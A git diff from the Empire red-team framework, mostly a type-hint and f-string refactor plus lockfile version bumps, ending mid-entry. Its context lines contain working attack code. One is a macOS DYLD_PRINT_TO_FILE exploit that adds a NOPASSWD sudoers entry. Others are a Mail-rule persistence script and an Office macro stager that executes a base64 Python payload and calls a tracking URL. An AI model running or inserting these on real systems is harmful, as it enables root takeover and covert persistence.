a/empire/server/modules/python/persistence/osx/mail.py +++ b/empire/server/modules/python/persistence/osx/mail.py @@ -1,7 +1,6 @@ from random import choice from string import ascii_uppercase from time import time -from typing import Dict, Optional, Tuple from empire.server.core.module_models import EmpireModule @@ -11,10 +10,10 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: rule_name = params["RuleName"] trigger = params["Trigger"] listener_name = params["Listener"] @@ -128,15 +127,15 @@ def UUID(): """ ) - script = """ + script = f""" import os home = os.getenv("HOME") -AppleScript = '{}' -SyncedRules = '{}' -RulesActiveState = '{}' -plist = \"\"\"{}\"\"\" -plist2 = \"\"\"{}\"\"\" -payload = \'\'\'{}\'\'\' +AppleScript = '{apple_script}' +SyncedRules = '{synced_rules}' +RulesActiveState = '{rules_active_state}' +plist = \"\"\"{plist}\"\"\" +plist2 = \"\"\"{plist2}\"\"\" +payload = \'\'\'{launcher}\'\'\' payload = payload.replace('&\"', '& ') payload += "kill `ps -ax | grep ScriptMonitor |grep -v grep | awk \'{{print($1)}}\'`" payload += '\"' @@ -185,13 +184,6 @@ def UUID(): os.system("/usr/libexec/PlistBuddy -c 'Merge " + RulesActiveState + "' "+ home + "/Library/Mail/" + version + "/MailData/RulesActiveState.plist") os.system("rm " + SyncedRules) os.system("rm " + RulesActiveState) - """.format( - apple_script, - synced_rules, - rules_active_state, - plist, - plist2, - launcher, - ) + """ return script diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py index cfb5ce94e..6c9da845f 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py @@ -1,5 +1,4 @@ import base64 -from typing import Dict from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -10,7 +9,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py index 7302a60ce..28f7b18ba 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py @@ -1,6 +1,5 @@ import base64 import subprocess -from typing import Dict from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/privesc/multi/bashdoor.py b/empire/server/modules/python/privesc/multi/bashdoor.py index 3aa071098..30ef34310 100644 --- a/empire/server/modules/python/privesc/multi/bashdoor.py +++ b/empire/server/modules/python/privesc/multi/bashdoor.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py index 6bc07273e..a17c21146 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.py +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py index b3f70e985..51a63af14 100644 --- a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py +++ b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py @@ -1,5 +1,4 @@ import logging -from typing import Dict from empire.server.core.module_models import EmpireModule @@ -11,7 +10,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): @@ -36,21 +35,19 @@ def generate( launcher = launcher.replace('"', '\\"') fullPath = params["WriteablePath"] + params["FileName"] fileName = params["FileName"] - script = """ + script = f""" import os -print("Writing Stager to {filename}...") -file = open("{fullpath}","w") -file.write("{filecontents}") +print("Writing Stager to {fileName}...") +file = open("{fullPath}","w") +file.write("{launcher}") file.close() print("Attempting to execute stager as root...") try: - os.system("echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo /bin/sh {fullpath} &") + os.system("echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo /bin/sh {fullPath} &") print("Successfully ran command, you should be getting an elevated stager") except: print("[!] Could not execute payload!") - """.format( - fullpath=fullPath, filecontents=launcher, filename=fileName - ) + """ return script diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py index 4c88febd8..acf82165f 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.py +++ b/empire/server/modules/python/privesc/osx/piggyback.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -9,7 +7,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py index c61024954..d7cb1a07b 100644 --- a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py +++ b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/server/modules/python_template.py b/empire/server/modules/python_template.py index 5e509d722..39922f8ce 100644 --- a/empire/server/modules/python_template.py +++ b/empire/server/modules/python_template.py @@ -1,5 +1,3 @@ -from typing import Dict, Optional, Tuple - from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -16,10 +14,10 @@ class Module: def generate( main_menu: MainMenu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", - ) -> Tuple[Optional[str], Optional[str]]: + ) -> tuple[str | None, str | None]: # Step 1: Get the module source code # The script should be stripped of comments, with a link to any # original reference script included in the comments. diff --git a/empire/server/stagers/multi/macro.py b/empire/server/stagers/multi/macro.py index 43f3ddfa8..cc73d77d9 100755 --- a/empire/server/stagers/multi/macro.py +++ b/empire/server/stagers/multi/macro.py @@ -194,7 +194,7 @@ def formStr(varstr, instr): poshpayload += '\n\t\tstr = str + "' + str(poshchunk) # if statements below are for loading Mac dylibs for compatibility - macro = """#If Mac Then + macro = f"""#If Mac Then #If VBA7 Then Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long #Else @@ -220,7 +220,7 @@ def formStr(varstr, instr): Public Function Debugging() As Variant On Error Resume Next Dim tracking As String - tracking = "{}" + tracking = "{pixel_track_url}" #If Mac Then 'Mac Rendering If Val(Application.Version) < 15 Then 'Mac Office 2011 @@ -230,7 +230,7 @@ def formStr(varstr, instr): End If Dim result As Long Dim str As String - {} + {pypayload} 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python3 &") result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python3 &") #Else @@ -239,7 +239,7 @@ def formStr(varstr, instr): Set objWeb = CreateObject("Microsoft.XMLHTTP") objWeb.Open "GET", tracking & "Windows", False objWeb.send - {} + {poshpayload} 'MsgBox(str) Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") @@ -248,10 +248,6 @@ def formStr(varstr, instr): Set objProcess = GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_Process") objProcess.Create str, Null, objConfig, intProcessID #End If -End Function""".format( - pixel_track_url, - pypayload, - poshpayload, - ) +End Function""" return macro diff --git a/empire/server/utils/module_util.py b/empire/server/utils/module_util.py index fea6babdd..8aefa953c 100644 --- a/empire/server/utils/module_util.py +++ b/empire/server/utils/module_util.py @@ -1,11 +1,9 @@ -from typing import Optional, Tuple - from empire.server.common import helpers def handle_error_message( msg: str = "", print_to_server: bool = True -) -> Tuple[Optional[str], str]: +) -> tuple[str | None, str]: """ Given a reason for a module execution error, print to server and return the message as a tuple back to the modules.py handler to send to the client @@ -20,7 +18,7 @@ def handle_error_message( def handle_validate_message( msg: str = "", print_to_server: bool = True -) -> Tuple[bool, str]: +) -> tuple[bool, str]: """ Given a reason for a module execution error, print to server and return the message as a tuple back to the modules.py handler to send to the client diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py index 0abb0e113..b7805e785 100644 --- a/empire/server/utils/option_util.py +++ b/empire/server/utils/option_util.py @@ -5,9 +5,7 @@ from empire.server.core.module_models import EmpireModuleOption -def safe_cast( - option: typing.Any, expected_option_type: typing.Type -) -> typing.Optional[typing.Any]: +def safe_cast(option: typing.Any, expected_option_type: type) -> typing.Any | None: try: if expected_option_type is bool: return option.lower() in ["true", "1"] @@ -16,7 +14,7 @@ def safe_cast( return None -def convert_module_options(options: typing.List[EmpireModuleOption]) -> typing.Dict: +def convert_module_options(options: list[EmpireModuleOption]) -> dict: """ Since modules options are typed classes vs listeners/stagers/etc which are dicts, this function converts the options to dicts so they can use the same validation logic in validate_options. @@ -38,7 +36,7 @@ def convert_module_options(options: typing.List[EmpireModuleOption]) -> typing.D def validate_options( - instance_options: typing.Dict, params: typing.Dict, db: Session, download_service + instance_options: dict, params: dict, db: Session, download_service ): """ Compares the options passed in (params) to the options defined in the @@ -103,7 +101,7 @@ class (instance). If any options are invalid, returns a Tuple of return options, None -def set_options(instance, options: typing.Dict): +def set_options(instance, options: dict): """ Sets the options for the listener/stager/plugin instance. """ @@ -153,12 +151,9 @@ def _parse_type(type_str: str = "", value: str = ""): def _safe_cast_option( param_name, param_value, option_meta -) -> typing.Tuple[typing.Any, typing.Optional[str]]: +) -> tuple[typing.Any, str | None]: option_type = type(param_value) - if ( - option_meta.get("Type") is not None - and type(option_meta.get("Type")) == typing.Type - ): + if option_meta.get("Type") is not None and type(option_meta.get("Type")) == type: expected_option_type = option_meta.get("Type") else: expected_option_type = _parse_type( diff --git a/empire/test/data/modules/test_custom_module.py b/empire/test/data/modules/test_custom_module.py index 7f1a4aa8c..74ceeb8d7 100644 --- a/empire/test/data/modules/test_custom_module.py +++ b/empire/test/data/modules/test_custom_module.py @@ -1,5 +1,3 @@ -from typing import Dict - from empire.server.core.module_models import EmpireModule @@ -8,7 +6,7 @@ class Module: def generate( main_menu, module: EmpireModule, - params: Dict, + params: dict, obfuscate: bool = False, obfuscation_command: str = "", ): diff --git a/empire/test/test_listener_api.py b/empire/test/test_listener_api.py index 204200691..6cd60c6ac 100644 --- a/empire/test/test_listener_api.py +++ b/empire/test/test_listener_api.py @@ -15,7 +15,7 @@ def test_get_listener_template(client, admin_auth_header): assert response.status_code == 200 assert response.json()["name"] == "HTTP[S]" assert response.json()["id"] == "http" - assert type(response.json()["options"]) == dict + assert isinstance(response.json()["options"], dict) def test_create_listener_validation_fails_required_field( diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index 4fda50efe..f171793fa 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -31,7 +31,7 @@ def test_get_stager_template(client, admin_auth_header): assert response.status_code == 200 assert response.json()["name"] == "Launcher" assert response.json()["id"] == "multi_launcher" - assert type(response.json()["options"]) == dict + assert isinstance(response.json()["options"], dict) def test_create_stager_validation_fails_required_field( diff --git a/empire/test/test_tags_api.py b/empire/test/test_tags_api.py index 60e087027..95b38cfa3 100644 --- a/empire/test/test_tags_api.py +++ b/empire/test/test_tags_api.py @@ -299,6 +299,7 @@ def _create_tags( for taggable in zip( [listener, agent, agent_task, plugin_task, credential, download], paths, + strict=True, ): if isinstance(taggable[0], dict): taggable_id = taggable[0]["id"] diff --git a/poetry.lock b/poetry.lock index 48a560de1..0f442af78 100644 --- a/poetry.lock +++ b/poetry.lock @@ -141,29 +141,29 @@ test = ["hypothesis", "pytest", "pytest-benchmark[histogram]", "pytest-cov", "py [[package]] name = "black" -version = "23.10.0" +version = "23.10.1" description = "The uncompromising code formatter." optional = false python-versions = ">=3.8" files = [ - {file = "black-23.10.0-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:f8dc7d50d94063cdfd13c82368afd8588bac4ce360e4224ac399e769d6704e98"}, - {file = "black-23.10.0-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:f20ff03f3fdd2fd4460b4f631663813e57dc277e37fb216463f3b907aa5a9bdd"}, - {file = "black-23.10.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d3d9129ce05b0829730323bdcb00f928a448a124af5acf90aa94d9aba6969604"}, - {file = "black-23.10.0-cp310-cp310-win_amd64.whl", hash = "sha256:960c21555be135c4b37b7018d63d6248bdae8514e5c55b71e994ad37407f45b8"}, - {file = "black-23.10.0-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:30b78ac9b54cf87bcb9910ee3d499d2bc893afd52495066c49d9ee6b21eee06e"}, - {file = "black-23.10.0-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:0e232f24a337fed7a82c1185ae46c56c4a6167fb0fe37411b43e876892c76699"}, - {file = "black-23.10.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31946ec6f9c54ed7ba431c38bc81d758970dd734b96b8e8c2b17a367d7908171"}, - {file = "black-23.10.0-cp311-cp311-win_amd64.whl", hash = "sha256:c870bee76ad5f7a5ea7bd01dc646028d05568d33b0b09b7ecfc8ec0da3f3f39c"}, - {file = "black-23.10.0-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:6901631b937acbee93c75537e74f69463adaf34379a04eef32425b88aca88a23"}, - {file = "black-23.10.0-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:481167c60cd3e6b1cb8ef2aac0f76165843a374346aeeaa9d86765fe0dd0318b"}, - {file = "black-23.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f74892b4b836e5162aa0452393112a574dac85e13902c57dfbaaf388e4eda37c"}, - {file = "black-23.10.0-cp38-cp38-win_amd64.whl", hash = "sha256:47c4510f70ec2e8f9135ba490811c071419c115e46f143e4dce2ac45afdcf4c9"}, - {file = "black-23.10.0-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:76baba9281e5e5b230c9b7f83a96daf67a95e919c2dfc240d9e6295eab7b9204"}, - {file = "black-23.10.0-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:a3c2ddb35f71976a4cfeca558848c2f2f89abc86b06e8dd89b5a65c1e6c0f22a"}, - {file = "black-23.10.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db451a3363b1e765c172c3fd86213a4ce63fb8524c938ebd82919bf2a6e28c6a"}, - {file = "black-23.10.0-cp39-cp39-win_amd64.whl", hash = "sha256:7fb5fc36bb65160df21498d5a3dd330af8b6401be3f25af60c6ebfe23753f747"}, - {file = "black-23.10.0-py3-none-any.whl", hash = "sha256:e223b731a0e025f8ef427dd79d8cd69c167da807f5710add30cdf131f13dd62e"}, - {file = "black-23.10.0.tar.gz", hash = "sha256:31b9f87b277a68d0e99d2905edae08807c007973eaa609da5f0c62def6b7c0bd"}, + {file = "black-23.10.1-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:ec3f8e6234c4e46ff9e16d9ae96f4ef69fa328bb4ad08198c8cee45bb1f08c69"}, + {file = "black-23.10.1-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:1b917a2aa020ca600483a7b340c165970b26e9029067f019e3755b56e8dd5916"}, + {file = "black-23.10.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c74de4c77b849e6359c6f01987e94873c707098322b91490d24296f66d067dc"}, + {file = "black-23.10.1-cp310-cp310-win_amd64.whl", hash = "sha256:7b4d10b0f016616a0d93d24a448100adf1699712fb7a4efd0e2c32bbb219b173"}, + {file = "black-23.10.1-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:b15b75fc53a2fbcac8a87d3e20f69874d161beef13954747e053bca7a1ce53a0"}, + {file = "black-23.10.1-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:e293e4c2f4a992b980032bbd62df07c1bcff82d6964d6c9496f2cd726e246ace"}, + {file = "black-23.10.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d56124b7a61d092cb52cce34182a5280e160e6aff3137172a68c2c2c4b76bcb"}, + {file = "black-23.10.1-cp311-cp311-win_amd64.whl", hash = "sha256:3f157a8945a7b2d424da3335f7ace89c14a3b0625e6593d21139c2d8214d55ce"}, + {file = "black-23.10.1-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:cfcce6f0a384d0da692119f2d72d79ed07c7159879d0bb1bb32d2e443382bf3a"}, + {file = "black-23.10.1-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:33d40f5b06be80c1bbce17b173cda17994fbad096ce60eb22054da021bf933d1"}, + {file = "black-23.10.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:840015166dbdfbc47992871325799fd2dc0dcf9395e401ada6d88fe11498abad"}, + {file = "black-23.10.1-cp38-cp38-win_amd64.whl", hash = "sha256:037e9b4664cafda5f025a1728c50a9e9aedb99a759c89f760bd83730e76ba884"}, + {file = "black-23.10.1-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:7cb5936e686e782fddb1c73f8aa6f459e1ad38a6a7b0e54b403f1f05a1507ee9"}, + {file = "black-23.10.1-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:7670242e90dc129c539e9ca17665e39a146a761e681805c54fbd86015c7c84f7"}, + {file = "black-23.10.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5ed45ac9a613fb52dad3b61c8dea2ec9510bf3108d4db88422bacc7d1ba1243d"}, + {file = "black-23.10.1-cp39-cp39-win_amd64.whl", hash = "sha256:6d23d7822140e3fef190734216cefb262521789367fbdc0b3f22af6744058982"}, + {file = "black-23.10.1-py3-none-any.whl", hash = "sha256:d431e6739f727bb2e0495df64a6c7a5310758e87505f5f8cde9ff6c0f2d7e4fe"}, + {file = "black-23.10.1.tar.gz", hash = "sha256:1f8ce316753428ff68749c65a5f7844631aa18c8679dfd3ca9dc1a289979c258"}, ] [package.dependencies] @@ -183,13 +183,13 @@ uvloop = ["uvloop (>=0.15.2)"] [[package]] name = "blinker" -version = "1.6.3" +version = "1.7.0" description = "Fast, simple object-to-object and broadcast signaling" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "blinker-1.6.3-py3-none-any.whl", hash = "sha256:296320d6c28b006eb5e32d4712202dbcdcbf5dc482da298c2f44881c43884aaa"}, - {file = "blinker-1.6.3.tar.gz", hash = "sha256:152090d27c1c5c722ee7e48504b02d76502811ce02e1523553b4cf8c8b3d3a8d"}, + {file = "blinker-1.7.0-py3-none-any.whl", hash = "sha256:c3f865d4d54db7abc53758a01601cf343fe55b84c1de4e3fa910e420b438d5b9"}, + {file = "blinker-1.7.0.tar.gz", hash = "sha256:e6820ff6fa4e4d1d8e2747c2283749c3f547e4fee112b98555cdcdae32996182"}, ] [[package]] @@ -400,101 +400,101 @@ pycparser = "*" [[package]] name = "charset-normalizer" -version = "3.3.0" +version = "3.3.2" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7.0" files = [ - {file = "charset-normalizer-3.3.0.tar.gz", hash = "sha256:63563193aec44bce707e0c5ca64ff69fa72ed7cf34ce6e11d5127555756fd2f6"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:effe5406c9bd748a871dbcaf3ac69167c38d72db8c9baf3ff954c344f31c4cbe"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:4162918ef3098851fcd8a628bf9b6a98d10c380725df9e04caf5ca6dd48c847a"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0570d21da019941634a531444364f2482e8db0b3425fcd5ac0c36565a64142c8"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5707a746c6083a3a74b46b3a631d78d129edab06195a92a8ece755aac25a3f3d"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:278c296c6f96fa686d74eb449ea1697f3c03dc28b75f873b65b5201806346a69"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a4b71f4d1765639372a3b32d2638197f5cd5221b19531f9245fcc9ee62d38f56"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f5969baeaea61c97efa706b9b107dcba02784b1601c74ac84f2a532ea079403e"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a3f93dab657839dfa61025056606600a11d0b696d79386f974e459a3fbc568ec"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:db756e48f9c5c607b5e33dd36b1d5872d0422e960145b08ab0ec7fd420e9d649"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:232ac332403e37e4a03d209a3f92ed9071f7d3dbda70e2a5e9cff1c4ba9f0678"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:e5c1502d4ace69a179305abb3f0bb6141cbe4714bc9b31d427329a95acfc8bdd"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:2502dd2a736c879c0f0d3e2161e74d9907231e25d35794584b1ca5284e43f596"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:23e8565ab7ff33218530bc817922fae827420f143479b753104ab801145b1d5b"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-win32.whl", hash = "sha256:1872d01ac8c618a8da634e232f24793883d6e456a66593135aeafe3784b0848d"}, - {file = "charset_normalizer-3.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:557b21a44ceac6c6b9773bc65aa1b4cc3e248a5ad2f5b914b91579a32e22204d"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:d7eff0f27edc5afa9e405f7165f85a6d782d308f3b6b9d96016c010597958e63"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6a685067d05e46641d5d1623d7c7fdf15a357546cbb2f71b0ebde91b175ffc3e"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0d3d5b7db9ed8a2b11a774db2bbea7ba1884430a205dbd54a32d61d7c2a190fa"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2935ffc78db9645cb2086c2f8f4cfd23d9b73cc0dc80334bc30aac6f03f68f8c"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9fe359b2e3a7729010060fbca442ca225280c16e923b37db0e955ac2a2b72a05"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380c4bde80bce25c6e4f77b19386f5ec9db230df9f2f2ac1e5ad7af2caa70459"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f0d1e3732768fecb052d90d62b220af62ead5748ac51ef61e7b32c266cac9293"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1b2919306936ac6efb3aed1fbf81039f7087ddadb3160882a57ee2ff74fd2382"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f8888e31e3a85943743f8fc15e71536bda1c81d5aa36d014a3c0c44481d7db6e"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:82eb849f085624f6a607538ee7b83a6d8126df6d2f7d3b319cb837b289123078"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7b8b8bf1189b3ba9b8de5c8db4d541b406611a71a955bbbd7385bbc45fcb786c"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:5adf257bd58c1b8632046bbe43ee38c04e1038e9d37de9c57a94d6bd6ce5da34"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c350354efb159b8767a6244c166f66e67506e06c8924ed74669b2c70bc8735b1"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-win32.whl", hash = "sha256:02af06682e3590ab952599fbadac535ede5d60d78848e555aa58d0c0abbde786"}, - {file = "charset_normalizer-3.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:86d1f65ac145e2c9ed71d8ffb1905e9bba3a91ae29ba55b4c46ae6fc31d7c0d4"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:3b447982ad46348c02cb90d230b75ac34e9886273df3a93eec0539308a6296d7"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:abf0d9f45ea5fb95051c8bfe43cb40cda383772f7e5023a83cc481ca2604d74e"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b09719a17a2301178fac4470d54b1680b18a5048b481cb8890e1ef820cb80455"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b3d9b48ee6e3967b7901c052b670c7dda6deb812c309439adaffdec55c6d7b78"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:edfe077ab09442d4ef3c52cb1f9dab89bff02f4524afc0acf2d46be17dc479f5"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3debd1150027933210c2fc321527c2299118aa929c2f5a0a80ab6953e3bd1908"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86f63face3a527284f7bb8a9d4f78988e3c06823f7bea2bd6f0e0e9298ca0403"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:24817cb02cbef7cd499f7c9a2735286b4782bd47a5b3516a0e84c50eab44b98e"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c71f16da1ed8949774ef79f4a0260d28b83b3a50c6576f8f4f0288d109777989"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:9cf3126b85822c4e53aa28c7ec9869b924d6fcfb76e77a45c44b83d91afd74f9"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:b3b2316b25644b23b54a6f6401074cebcecd1244c0b8e80111c9a3f1c8e83d65"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-musllinux_1_1_s390x.whl", hash = "sha256:03680bb39035fbcffe828eae9c3f8afc0428c91d38e7d61aa992ef7a59fb120e"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:4cc152c5dd831641e995764f9f0b6589519f6f5123258ccaca8c6d34572fefa8"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-win32.whl", hash = "sha256:b8f3307af845803fb0b060ab76cf6dd3a13adc15b6b451f54281d25911eb92df"}, - {file = "charset_normalizer-3.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:8eaf82f0eccd1505cf39a45a6bd0a8cf1c70dcfc30dba338207a969d91b965c0"}, - {file = "charset_normalizer-3.3.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = 